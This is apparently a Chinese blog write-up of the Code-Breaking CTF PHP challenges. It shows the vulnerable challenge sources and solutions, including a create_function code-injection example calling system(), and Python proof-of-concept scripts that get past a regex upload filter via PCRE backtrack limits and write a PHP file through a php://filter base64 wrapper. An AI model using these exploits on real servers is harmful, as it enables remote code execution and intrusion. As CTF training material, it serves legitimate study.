Code-breaking wp php篇

引言

资料来源:

wp:

https://paper.seebug.org/755/

https://lorexxar.cn/2018/12/07/codingbreak-wp/

https://blog.csdn.net/dyw_666666/article/details/90047877

http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/

code:

https://github.com/phith0n/code-breaking

跟着大佬的脚步学习

开始

easy - function

前置知识

正则中的模式修饰符

参考https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php

PHP命名空间的概念

参考https://www.php.net/manual/zh/language.namespaces.rationale.php

题目源码

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

题目解析

$a ?? ''相当于isset($a) ? $a:0

代码要求$action(即函数名)必须含有除小写字母或数字之外的字符,考点就在于在函数名前添加符号之后该函数还可以正常执行

php默认命名空间为\,所以可以在$action前加\,这样就可以执行任意函数

在php中,create_function可以使用第二个参数执行任意php代码,这里引用一下LoRexxar大佬给出的例子:

create_function('$a,$b','return 111;}system("echo %date%");//')
==>
function a($a, $b){
    return 111;}system("echo %date%");//}

之后就是找flag了,不再详述

easy - pcrewaf

前置知识

php利用PCRE回溯次数限制绕过

参考https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

题目源码

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

题目解析

正则限制了文件内容,可利用正则回溯限制来绕过

poc如下:

import requests
import hashlib


def MD5(string):
    m = hashlib.md5()
    m.update(string.encode('utf8'))
    return m.hexdigest()


url = "http://127.0.0.1/pcrewaf.php"
user_dir = "data/{}".format(MD5("127.0.0.1"))
file = {'file': '<?php echo "r0co";?>{}'.format("a"*1000000)}
proxy = {'http': '127.0.0.1:8080'}
requests.post(url, proxies=proxy, files=file)
for i in range(0, 10):
    uploaded_file_path = "http://127.0.0.1/{}/{}.php".format(user_dir, str(i))
    res = requests.get(uploaded_file_path)
    if "r0co" in res.text:
        print(uploaded_file_path)

逻辑很简单,发送文件内容的长度>1000k的文件(功能为输出Success),之后进行爆破,稍微改改poc即可执行任意php代码,这里不再深入写了。

easy - phpmagic

前置知识

php伪协议

参考https://www.php.net/manual/zh/wrappers.php.php

题目源码

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);

    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }

    echo $output;
endif;
?>

题目解析

sprintf("dig -t A -q %s", escapeshellarg($domain))防御了命令执行,我们可控的参数只有$_POST['domain']$_POST['log']以及$_SERVER['SERVER_NAME']

dig命令执行的结果会存储在文件名可控的文件中,虽说使用pathinfo对文件名进行了过滤,但是可以用类似123.php/.来绕过,而且存储的方式为使用file_put_content,这样的话就可以使用php伪协议进行操作。而且程序也没有对$_POST['log']进行过滤,所以可以将文件传到一个比较方便访问的目录下。

poc如下:

import requests
import base64
import random


def get_correct_payload(string):
    while True:
        payload = base64.b64encode(string.encode("utf8")).decode("utf8")
        if "=" in payload:
            string = "/" + string
        else:
            return str(payload)


def let_me_fuzzfuzz():
    url = "http://192.168.56.134"
    payload = """<?php echo "r0co";?>"""
    header = {
        "Host": "php"
    }
    log = "://filter/write=convert.base64-decode/resource=../{filename}.php/."
    domain = """{payload}""".format(payload=payload)
    while True:
        ## debug
        # proxy = {
        #     "http": "127.0.0.1:8080"
        # }
        filename = random.randint(1, 100000)
        post_data = {
            "domain": get_correct_payload(domain),
            "log": log.format(filename=filename
                              )
        }
        # requests.post(url + "/phpmagic.php", headers=header, data=post_data, proxies=proxy)
        requests.post("{}/phpmagic.php".format(url), headers=header, data=post_data)
        check_url = "{}/data/{}.php".format(url, filename)
        check = requests.get(check_url)
        if "r0co" in check.text:
            print("Success")
            print(post_data)
            print(check_url)
            exit()
        else:
            print("Fail! {}".format(check_url))
            print(post_data)
            print("=============================================")


let_me_fuzzfuzz()

为什么需要fuzz呢?因为程序在使用伪协议解码base64时,会跳过不符合规范的字符(如果有不符合规范的字符,则会出现文件已经出现在服务器中,但是为空的现象),而且我们传入的字符不可以以=结尾。懒得数前面到底几位了,直接fuzz。

结果如下:

出现了一个玄学问题,都是一样的payload,咋非要多发几个才能成功执行呢???

easy - phplimit

前置知识

PHP正则匹配之递归模式

https://www.php.net/manual/zh/regexp.reference.recursive.php

题目源码

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

注意:题目环境为Nginx

题目解析

题目中正则的功能就是限制$_GET['code']的值只能为类似a()或a(b(c()))这种的

Apache环境下解法

解法一:通过获取headers执行任意命令

1.使用getallheaders()

payload如下:

2.利用session

payload如下:

解法二:利用php中获取文件目录的各种函数来读取文件

可以使用getcwd()、scandir()、dirname()、readfile()以及获取不同位置的数组元素的函数,例如next()等等等等

可以使用getcwd()获取当前文件夹的路径(pwd),然后使用scandir(getcwd())扫描当前文件夹中的内容(ls)。还使用dirname(getcwd())获取上层路径(相当于cd .. && pwd),将扫描结果转换为数组后可以通过next()、current()及array_reverse()来获取数组结果的前两个元素和后两个元素,最后readfile()读内容即可。

解法三:利用get_defined_vars()执行GET参数

get_defined_vars()介绍

payload如下:

上图中的current()主要是用来获取数组元素的值——第一个current获取GET请求,第二个current获取cmd的值,最后使用system实现任意命令执行

Nginx环境下解法

Nginx中无法使用getallheaders(),所以使用其他解法即可,不再赘述


如果我的文章能帮到您的话我会很开心.如需转载记得注明出处:)
目录